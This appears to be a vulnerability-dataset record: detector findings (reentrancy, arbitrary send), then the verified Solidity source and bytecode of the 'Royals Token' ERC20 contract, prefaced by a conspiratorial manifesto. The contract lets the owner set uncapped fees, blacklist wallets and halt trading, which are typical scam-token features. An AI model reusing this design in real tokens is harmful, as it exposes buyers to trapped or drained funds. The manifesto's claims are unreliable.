06164604482015264647265737360d81b606482015260840161052b565b6001600160a01b038216610d405760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161052b565b60008111610da25760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161052b565b6000546001600160a01b03848116911614801590610dce57506000546001600160a01b03838116911614155b156111c057601454600160a81b900460ff1615610e4e573360009081526006602052604090206002015460ff16610e4e57604080516060810182526000808252602080830182815260018486018181523385526006909352949092209251835590519282019290925590516002909101805460ff19169115159190911790555b6014546001600160a01b038481169116148015610e7957506013546001600160a01b03838116911614155b8015610e9e57506001600160a01b03821660009081526005602052604090205460ff16155b1561100257601454600160a01b900460ff16610efc5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e0000000000000000604482015260640161052b565b60066009556004600a55601454600160a81b900460ff1615610fc857426015541115610fc857601054811115610f3157600080fd5b6001600160a01b0382166000908152600660205260409020544211610fa35760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b606482015260840161052b565b610fae42602d611ceb565b6001600160a01b0383166000908152600660205260409020555b601454600160a81b900460ff161561100257610fe542600f611ceb565b6001600160a01b0383166000908152600660205260409020600101555b600061100d3061063f565b601454909150600160b01b900460ff1615801561103857506014546001600160a01b03858116911614155b801561104d5750601454600160a01b900460ff165b156111be57601454600160a81b900460ff16156110da576001600160a01b03841660009081526006602052604090206001015442116110da5760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b606482015260840161052b565b601454600160b81b900460ff161561113f576000611103600c548461150590919063ffffffff16565b6014549091506111329061112b908590611125906001600160a01b031661063f565b90611584565b82906115e3565b905061113d81611625565b505b80156111ac57600b546014546111759160649161116f9190611169906001600160a01b031661063f565b90611505565b906115e3565b8111156111a357600b546014546111a09160649161116f9190611169906001600160a01b031661063f565b90505b6111ac81611360565b4780156111bc576111bc47611257565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061120257506001600160a01b03831660009081526005602052604090205460ff165b1561120b575060005b61121784848484611693565b50505050565b600081848411156112415760405162461bcd60e51b815260040161052b9190611bf3565b50600061124e8486611d36565b95945050505050565b6011546001600160a01b03166108fc6112718360026115e3565b6040518115909202916000818181858888f19350505050158015611299573d6000803e3d6000fd5b506012546001600160a01b03166108fc6112b48360026115e3565b6040518115909202916000818181858888f19350505050158015610b52573d6000803e3d6000fd5b60006007548211156113435760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161052b565b600061134d6116c1565b905061135983826115e3565b9392505050565b6014805460ff60b01b1916600160b01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113b657634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561140a57600080fd5b505afa15801561141e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114429190611ab7565b8160018151811061146357634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526013546114899130911684610b56565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906114c2908590600090869030904290600401611c7b565b600060405180830381600087803b1580156114dc57600080fd5b505af11580156114f0573d6000803e3d6000fd5b50506014805460ff60b01b1916905550505050565b60008261151457506000610448565b60006115208385611d17565b90508261152d8583611d03565b146113595760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161052b565b6000806115918385611ceb565b9050838110156113595760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161052b565b600061135983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116e4565b600a808210156116375750600a61164b565b60288211156116485750602861164b565b50805b611656816002611712565b15611669578061166581611d4d565b9150505b611679600a61116f836006611505565b60095561168c600a61116f836004611505565b600a555050565b806116a0576116a0611754565b6116ab848484611782565b8061121757611217600e54600955600f54600a55565b60008060006116ce611879565b90925090506116dd82826115e3565b9250505090565b600081836117055760405162461bcd60e51b815260040161052b9190611bf3565b50600061124e8486611d03565b600061135983836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f00000000000000008152506118bb565b6009541580156117645750600a54155b1561176b57565b60098054600e55600a8054600f5560009182905555565b600080600080600080611794876118ef565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506117c6908761194c565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546117f59086611584565b6001600160a01b0389166000908152600260205260409020556118178161198e565b61182184836119d8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161186691815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea0000061189582826115e3565b8210156118b257505060075492683635c9adc5dea0000092509050565b90939092509050565b600081836118dc5760405162461bcd60e51b815260040161052b9190611bf3565b506118e78385611d68565b949350505050565b600080600080600080600080600061190c8a600954600a546119fc565b925092509250600061191c6116c1565b9050600080600061192f8e878787611a4b565b919e509c509a509598509396509194505050505091939550919395565b600061135983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061121d565b60006119986116c1565b905060006119a68383611505565b306000908152600260205260409020549091506119c39082611584565b30600090815260026020526040902055505050565b6007546119e5908361194c565b6007556008546119f59082611584565b6008555050565b6000808080611a10606461116f8989611505565b90506000611a23606461116f8a89611505565b90506000611a3b82611a358b8661194c565b9061194c565b9992985090965090945050505050565b6000808080611a5a8886611505565b90506000611a688887611505565b90506000611a768888611505565b90506000611a8882611a35868661194c565b939b939a50919850919650505050505050565b600060208284031215611aac578081fd5b813561135981611da8565b600060208284031215611ac8578081fd5b815161135981611da8565b60008060408385031215611ae5578081fd5b8235611af081611da8565b91506020830135611b0081611da8565b809150509250929050565b600080600060608486031215611b1f578081fd5b8335611b2a81611da8565b92506020840135611b3a81611da8565b929592945050506040919091013590565b60008060408385031215611b5d578182fd5b8235611b6881611da8565b946020939093013593505050565b600060208284031215611b87578081fd5b813561135981611dbd565b600060208284031215611ba3578081fd5b815161135981611dbd565b600060208284031215611bbf578081fd5b5035919050565b600080600060608486031215611bda578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611c1f57858101830151858201604001528201611c03565b81811115611c305783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611cca5784516001600160a01b031683529383019391830191600101611ca5565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611cfe57611cfe611d7c565b500190565b600082611d1257611d12611d92565b500490565b6000816000190483118215151615611d3157611d31611d7c565b500290565b600082821015611d4857611d48611d7c565b500390565b6000600019821415611d6157611d61611d7c565b5060010190565b600082611d7757611d77611d92565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b6001600160a01b038116811461063c57600080fd5b801515811461063c57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ad011fd7dbc0147929693cc9a161a3c7ef2c3a1a23299ce99f44a870236f11d764736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
82
0xa4a99dd9daa2ef8dcc4e3f1e7a409961b81f314d
/** *Submitted for verification at Etherscan.io on 2022-03-27 */ /** What is royalty? Who is royalty? Royalty to us is abstract. No figure behind the scenes should control the masses. Let there be lightly shown upon those who act holier than thou. Let the public rejoice at the cries of those who have disdain for them, those who fed them scraps while they ate like kings. Royalty is a term that should apply to everyone. No man was left behind. No man suffering. No man is impoverished. The world is one where equality should shine like the sun's rays above us. Yet our saddened reality bears us down with every tick of the clock. The kings and queens always win. They have ears and eyes all over the streets, waiting for a parcel of information that could fill the void in their greed-filled heart. They dump on the ones who look up to them, who scoff at their pauper Esque stake. What if we told you we could change that. The royals. The ones who hide in the shadows but control the masses. They need to be replaced. Every human, however rich or poor, deserves to be a royal. An overthrow of our current system has been long overdue. The central banking system keeps the masses at bay with their manipulative practices. How do you think the federal reserve operates. Do you think that the elites truly care about your well-being? Why have so many pioneers been assassinated in various industries? None of it seems to add up… if your eyes are closed. Open your eyes royal. It’s time to see the true light that shall shine upon us. Who deserves to be at the top of the throne, wielding his crown as a weapon of a hindrance. Who deserves to be on the streets, begging for mercy from the hand that lashes them. The blood of the innocent, the hands of the poor. All shall withhold to the new coup d'é·tat upon us. The elites shall be anew. We will all be elites. We will all be royals. https://t.me/royalstokenportal https://royalstoken.org https://twitter.com/royalstoken */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract RoyalsToken is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Royals Token"; string private constant _symbol = "ROYALS"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 10; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 20; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0xFb9Fbc4C527C303bee0fB07fE07760B17d2e0F7C); address payable private _marketingAddress = payable(0xFb9Fbc4C527C303bee0fB07fE07760B17d2e0F7C); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 1000000 * 10**9; uint256 public _maxWalletSize = 10000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610559578063dd62ed3e14610579578063ea1644d5146105bf578063f2fde38b146105df57600080fd5b8063a2a957bb146104d4578063a9059cbb146104f4578063bfd7928414610514578063c3c8cd801461054457600080fd5b80638f70ccf7116100d15780638f70ccf71461044f5780638f9a55c01461046f57806395d89b411461048557806398a5c315146104b457600080fd5b80637d1db4a5146103ee5780637f2feddc146104045780638da5cb5b1461043157600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038457806370a0823114610399578063715018a6146103b957806374010ece146103ce57600080fd5b8063313ce5671461030857806349bd5a5e146103245780636b999053146103445780636d8aa8f81461036457600080fd5b80631694505e116101ab5780631694505e1461027557806318160ddd146102ad57806323b872dd146102d25780632fd689e3146102f257600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024557600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611963565b6105ff565b005b34801561020a57600080fd5b5060408051808201909152600c81526b2937bcb0b639902a37b5b2b760a11b60208201525b60405161023c9190611a28565b60405180910390f35b34801561025157600080fd5b50610265610260366004611a7d565b61069e565b604051901515815260200161023c565b34801561028157600080fd5b50601454610295906001600160a01b031681565b6040516001600160a01b03909116815260200161023c565b3480156102b957600080fd5b50670de0b6b3a76400005b60405190815260200161023c565b3480156102de57600080fd5b506102656102ed366004611aa9565b6106b5565b3480156102fe57600080fd5b506102c460185481565b34801561031457600080fd5b506040516009815260200161023c565b34801561033057600080fd5b50601554610295906001600160a01b031681565b34801561035057600080fd5b506101fc61035f366004611aea565b61071e565b34801561037057600080fd5b506101fc61037f366004611b17565b610769565b34801561039057600080fd5b506101fc6107b1565b3480156103a557600080fd5b506102c46103b4366004611aea565b6107fc565b3480156103c557600080fd5b506101fc61081e565b3480156103da57600080fd5b506101fc6103e9366004611b32565b610892565b3480156103fa57600080fd5b506102c460165481565b34801561041057600080fd5b506102c461041f366004611aea565b60116020526000908152604090205481565b34801561043d57600080fd5b506000546001600160a01b0316610295565b34801561045b57600080fd5b506101fc61046a366004611b17565b6108c1565b34801561047b57600080fd5b506102c460175481565b34801561049157600080fd5b50604080518082019091526006815265524f59414c5360d01b602082015261022f565b3480156104c057600080fd5b506101fc6104cf366004611b32565b610909565b3480156104e057600080fd5b506101fc6104ef366004611b4b565b610938565b34801561050057600080fd5b5061026561050f366004611a7d565b610976565b34801561052057600080fd5b5061026561052f366004611aea565b60106020526000908152604090205460ff1681565b34801561055057600080fd5b506101fc610983565b34801561056557600080fd5b506101fc610574366004611b7d565b6109d7565b34801561058557600080fd5b506102c4610594366004611c01565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105cb57600080fd5b506101fc6105da366004611b32565b610a78565b3480156105eb57600080fd5b506101fc6105fa366004611aea565b610aa7565b6000546001600160a01b031633146106325760405162461bcd60e51b815260040161062990611c3a565b60405180910390fd5b60005b815181101561069a5760016010600084848151811061065657610656611c6f565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069281611c9b565b915050610635565b5050565b60006106ab338484610b91565b5060015b92915050565b60006106c2848484610cb5565b610714843361070f85604051806060016040528060288152602001611db5602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f1565b610b91565b5060019392505050565b6000546001600160a01b031633146107485760405162461bcd60e51b815260040161062990611c3a565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107935760405162461bcd60e51b815260040161062990611c3a565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e657506013546001600160a01b0316336001600160a01b0316145b6107ef57600080fd5b476107f98161122b565b50565b6001600160a01b0381166000908152600260205260408120546106af90611265565b6000546001600160a01b031633146108485760405162461bcd60e51b815260040161062990611c3a565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108bc5760405162461bcd60e51b815260040161062990611c3a565b601655565b6000546001600160a01b031633146108eb5760405162461bcd60e51b815260040161062990611c3a565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109335760405162461bcd60e51b815260040161062990611c3a565b601855565b6000546001600160a01b031633146109625760405162461bcd60e51b815260040161062990611c3a565b600893909355600a91909155600955600b55565b60006106ab338484610cb5565b6012546001600160a01b0316336001600160a01b031614806109b857506013546001600160a01b0316336001600160a01b0316145b6109c157600080fd5b60006109cc306107fc565b90506107f9816112e9565b6000546001600160a01b03163314610a015760405162461bcd60e51b815260040161062990611c3a565b60005b82811015610a72578160056000868685818110610a2357610a23611c6f565b9050602002016020810190610a389190611aea565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6a81611c9b565b915050610a04565b50505050565b6000546001600160a01b03163314610aa25760405162461bcd60e51b815260040161062990611c3a565b601755565b6000546001600160a01b03163314610ad15760405162461bcd60e51b815260040161062990611c3a565b6001600160a01b038116610b365760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610629565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610629565b6001600160a01b038216610c545760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610629565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d195760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610629565b6001600160a01b038216610d7b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610629565b60008111610ddd5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610629565b6000546001600160a01b03848116911614801590610e0957506000546001600160a01b03838116911614155b156110ea57601554600160a01b900460ff16610ea2576000546001600160a01b03848116911614610ea25760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610629565b601654811115610ef45760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610629565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3657506001600160a01b03821660009081526010602052604090205460ff16155b610f8e5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610629565b6015546001600160a01b038381169116146110135760175481610fb0846107fc565b610fba9190611cb6565b106110135760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610629565b600061101e306107fc565b6018546016549192508210159082106110375760165491505b80801561104e5750601554600160a81b900460ff16155b801561106857506015546001600160a01b03868116911614155b801561107d5750601554600160b01b900460ff165b80156110a257506001600160a01b03851660009081526005602052604090205460ff16155b80156110c757506001600160a01b03841660009081526005602052604090205460ff16155b156110e7576110d5826112e9565b4780156110e5576110e54761122b565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112c57506001600160a01b03831660009081526005602052604090205460ff165b8061115e57506015546001600160a01b0385811691161480159061115e57506015546001600160a01b03848116911614155b1561116b575060006111e5565b6015546001600160a01b03858116911614801561119657506014546001600160a01b03848116911614155b156111a857600854600c55600954600d555b6015546001600160a01b0384811691161480156111d357506014546001600160a01b03858116911614155b156111e557600a54600c55600b54600d555b610a7284848484611472565b600081848411156112155760405162461bcd60e51b81526004016106299190611a28565b5060006112228486611cce565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561069a573d6000803e3d6000fd5b60006006548211156112cc5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610629565b60006112d66114a0565b90506112e283826114c3565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133157611331611c6f565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138557600080fd5b505afa158015611399573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113bd9190611ce5565b816001815181106113d0576113d0611c6f565b6001600160a01b0392831660209182029290920101526014546113f69130911684610b91565b60